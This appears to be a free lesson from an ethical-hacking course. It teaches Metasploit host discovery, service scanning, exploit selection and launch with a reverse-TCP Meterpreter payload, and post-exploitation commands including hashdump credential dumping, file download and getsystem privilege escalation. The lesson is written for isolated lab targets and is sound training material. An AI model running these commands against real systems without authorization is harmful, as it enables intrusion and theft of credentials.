Cyber Services / All lessons / CEH — Ethical Hacking / Network Reconnaissance and Exploitation with Metasploit Framework

Network Reconnaissance and Exploitation with Metasploit Framework

Module 35 of 130 · 7 min read · Free to read

MODULES ↓ Command blocks have a COPY button

Mastering Metasploit Framework for Ethical Security Testing

Ethical Use Disclaimer: This guide is intended for educational purposes in controlled laboratory environments only. Unauthorized scanning or exploitation of networks or systems is illegal and unethical. Always obtain explicit permission before performing any security testing activities.

Objective

This professional lab provides comprehensive hands-on experience using the Metasploit Framework to perform network reconnaissance and exploitation. Participants will learn to systematically discover network hosts, enumerate open services, identify potential vulnerabilities, and leverage Metasploit modules to gain access to target systems, followed by advanced post-exploitation techniques.

Prerequisites

Networking Knowledge

Understanding of IP addressing, subnets, and common network protocols (TCP/IP, UDP, ICMP, HTTP, SMB, etc.)

Command Line Skills

Comfort using the Linux command line interface and basic bash scripting

Security Awareness

Familiarity with penetration testing phases and ethical considerations

Lab Setup

  • Kali Linux machine with Metasploit Framework installed and updated
  • Target vulnerable machines (Metasploitable2/3, Windows VMs with known vulnerabilities)
  • Isolated virtual network environment
  • Disabled host-based firewalls for educational purposes
  • Documented IP address range of your target network
Note: In real-world scenarios, bypassing or evading defenses is part of the engagement. This lab simplifies the environment for educational purposes.

Lab Tasks

Task 1: Host Discovery
Task 2: Service Enumeration
Task 3: Vulnerability Identification
Task 4: Exploitation
Task 5: Post-Exploitation

1Discovering Live Hosts

The first step is to identify active hosts on the target network segment. We can use Metasploit's ARP scanning module for local network discovery.

# Launch the Metasploit Framework console
$ msfconsole

# Select the ARP sweep auxiliary module
# ARP scans are effective for discovering hosts on the local subnet
msf > use auxiliary/scanner/discovery/arp_sweep

# Show available options for this module
msf auxiliary(scanner/discovery/arp_sweep) > show options

# Set the target IP range (e.g., 192.168.1.0/24)
# Replace TARGET_SUBNET with your actual target network range
msf auxiliary(scanner/discovery/arp_sweep) > set RHOSTS TARGET_SUBNET

# Set the network interface if needed (optional, often auto-detected)
# msf auxiliary(scanner/discovery/arp_sweep) > set INTERFACE eth0

# Set the number of concurrent threads (optional, adjust based on resources)
msf auxiliary(scanner/discovery/arp_sweep) > set THREADS 10

# Execute the scan
msf auxiliary(scanner/discovery/arp_sweep) > run

# Note the IP addresses of discovered hosts.
# Alternatively, consider using `db_nmap -sn TARGET_SUBNET` within msfconsole,
# which integrates Nmap results directly into Metasploit's database.
Pro Tip: Combine multiple discovery methods for comprehensive results. Use ARP scanning for local subnet discovery and combine with ICMP or TCP ping sweeps for broader network reconnaissance.

2Enumerating Services and Versions

Once hosts are identified, we need to discover which services (ports) are open and ideally, what software versions are running on those ports. This information is crucial for finding relevant vulnerabilities.

# Select a TCP port scanning module
# (Note: `db_nmap -sV TARGET_IP` is often more comprehensive and preferred)
msf > use auxiliary/scanner/portscan/tcp

# Show available options
msf auxiliary(scanner/portscan/tcp) > show options

# Set the target host(s) IP address(es) or range discovered in Task 1
# Replace TARGET_IP_RANGE with specific IPs or the subnet
msf auxiliary(scanner/portscan/tcp) > set RHOSTS TARGET_IP_RANGE

# Set the range of ports to scan (e.g., 1-1000 or common ports like 21,22,23,25,80,135,139,443,445,3389)
msf auxiliary(scanner/portscan/tcp) > set PORTS 1-1000

# Adjust threads for speed (optional)
msf auxiliary(scanner/portscan/tcp) > set THREADS 20

# Run the port scan
msf auxiliary(scanner/portscan/tcp) > run

# Note the open ports and services identified for each host.

# For more detailed version detection on specific ports,
# you can use specialized scanners or Nmap (recommended).
# Example using a generic TCP version scanner (less common than Nmap):
msf > use auxiliary/scanner/tcp/tcp_version

msf auxiliary(scanner/tcp/tcp_version) > set RHOSTS TARGET_IP
msf auxiliary(scanner/tcp/tcp_version) > set RPORT OPEN_PORT # Set the specific open port discovered
msf auxiliary(scanner/tcp/tcp_version) > run

# Record the services, ports, and detected versions (e.g., Apache 2.2.8, vsftpd 2.3.4).
Pro Tip: Use service-specific enumeration modules for more detailed information. For example, use scanner/smb/smb_version for SMB or scanner/ssh/ssh_version for SSH services.

3Vulnerability Identification / Exploit Selection

With information about services and versions, search Metasploit's database for potential exploits.

# Search for modules related to a specific service or version
# Replace SERVICE_INFO with keywords like 'vsftpd 2.3.4', 'apache', 'smb', 'jboss'
msf > search SERVICE_INFO

# Review the search results. Look for modules matching the target OS and service version.
# Pay attention to the 'Rank' (higher is generally better/more reliable) and description.

# Once a potential exploit module is found, get more information about it
# Replace exploit/path/to/module with the actual module name from the search results
msf > info exploit/path/to/module

# Read the description, check the target compatibility, options, and references (CVEs).
# Ensure the exploit matches your target's specifics (OS, service version).

# Select the chosen exploit module
msf > use exploit/path/to/module
Pro Tip: Use the check command when available to verify if a target is vulnerable before attempting exploitation. Not all modules support this feature, but it can save time and reduce network noise.

4Configuring and Executing the Exploit

After selecting a suitable exploit module, configure its options and attempt the exploitation.

# Display the options required for the selected exploit module
msf exploit(path/to/module) > show options

# Set the target host IP address
# Replace TARGET_IP with the IP of the vulnerable host
msf exploit(path/to/module) > set RHOST TARGET_IP

# Set the target port if it's different from the default
# msf exploit(path/to/module) > set RPORT TARGET_PORT

# *** CRITICAL STEP: Set the payload ***
# Payloads determine what happens after successful exploitation (e.g., get a shell).
# Use 'show payloads' to see compatible payloads for this exploit.
msf exploit(path/to/module) > show payloads

# Select a payload (Meterpreter is often preferred for its features)
# Example: Reverse TCP Meterpreter (target connects back to you)
msf exploit(path/to/module) > set PAYLOAD windows/meterpreter/reverse_tcp
# (Use linux/... or osx/... or php/... etc., depending on the target OS and exploit)

# *** CRITICAL STEP: Set the listener host ***
# This is YOUR Kali machine's IP address on the lab network. The target needs to connect back here.
# Replace YOUR_KALI_IP with your machine's actual IP address
msf exploit(path/to/module) > set LHOST YOUR_KALI_IP

# Set the listener port if needed (optional, default usually fine)
# msf exploit(path/to/module) > set LPORT 4444

# Verify all options are set correctly
msf exploit(path/to/module) > show options

# Attempt the exploit!
msf exploit(path/to/module) > exploit

# If successful, you should receive a session (e.g., "Meterpreter session 1 opened").
Note: Exploitation is not guaranteed. It might fail due to incorrect module choice, wrong options, target patching, or defensive measures (even in a lab).

5Post-Exploitation Basics

If the exploit was successful and you have a session (often Meterpreter), you can interact with the compromised system.

# List active sessions
msf exploit(path/to/module) > sessions

# Interact with a specific session (e.g., session 1)
msf exploit(path/to/module) > sessions -i 1

# --- Now inside the Meterpreter prompt ---

# Get basic system information
meterpreter > sysinfo
meterpreter > getuid  # Show current user privileges
meterpreter > getpid  # Show current process ID

# Basic file system navigation
meterpreter > pwd
meterpreter > ls
meterpreter > cd /path/to/directory
meterpreter > download /path/on/target/file /local/path
meterpreter > upload /local/file /path/on/target

# Run post-exploitation modules for further enumeration/actions
# (These run within the context of the compromised host)
meterpreter > run post/multi/recon/local_exploit_suggester # Suggests privilege escalation exploits
meterpreter > run post/windows/gather/enum_logged_on_users # See who is logged on (Windows)
meterpreter > run post/windows/gather/hashdump           # Attempt to dump password hashes (requires SYSTEM privileges - Windows)
# Use 'search post/' back in the main msf console to find many other post modules

# Attempt privilege escalation (example using getsystem)
# meterpreter > getsystem # Tries various techniques to elevate to SYSTEM

# Background the Meterpreter session to return to the msf console
meterpreter > background

# --- Back in the main msf console ---
# You can interact with the session again using 'sessions -i SESSION_ID'
Note: Post-exploitation is a vast topic including privilege escalation, lateral movement, data exfiltration, and establishing persistence. This task only scratches the surface.

Advanced Techniques

Persistence

Learn to maintain access to compromised systems using persistence mechanisms like Meterpreter's persistence script or scheduled tasks.

Lateral Movement

Explore techniques for moving laterally across a network, including pass-the-hash attacks and token impersonation.

Evasion Techniques

Study methods to evade detection by antivirus software and intrusion detection systems.

Conclusion

This professional lab demonstrated a comprehensive workflow for network penetration testing using the Metasploit Framework. You practiced discovering hosts, enumerating services, identifying potential exploits based on gathered intelligence, configuring and launching exploits, and performing basic post-exploitation actions using Meterpreter.

Mastering these steps provides a solid foundation for assessing network security. Remember that continuous learning and practice, always within ethical and legal boundaries, are key to becoming proficient in cybersecurity.

Next Steps: Consider pursuing certifications like OSCP, practicing on platforms like HackTheBox or TryHackMe, and participating in Capture The Flag (CTF) competitions to further develop your skills.
Modules (130) ← CEH — Ethical Hacking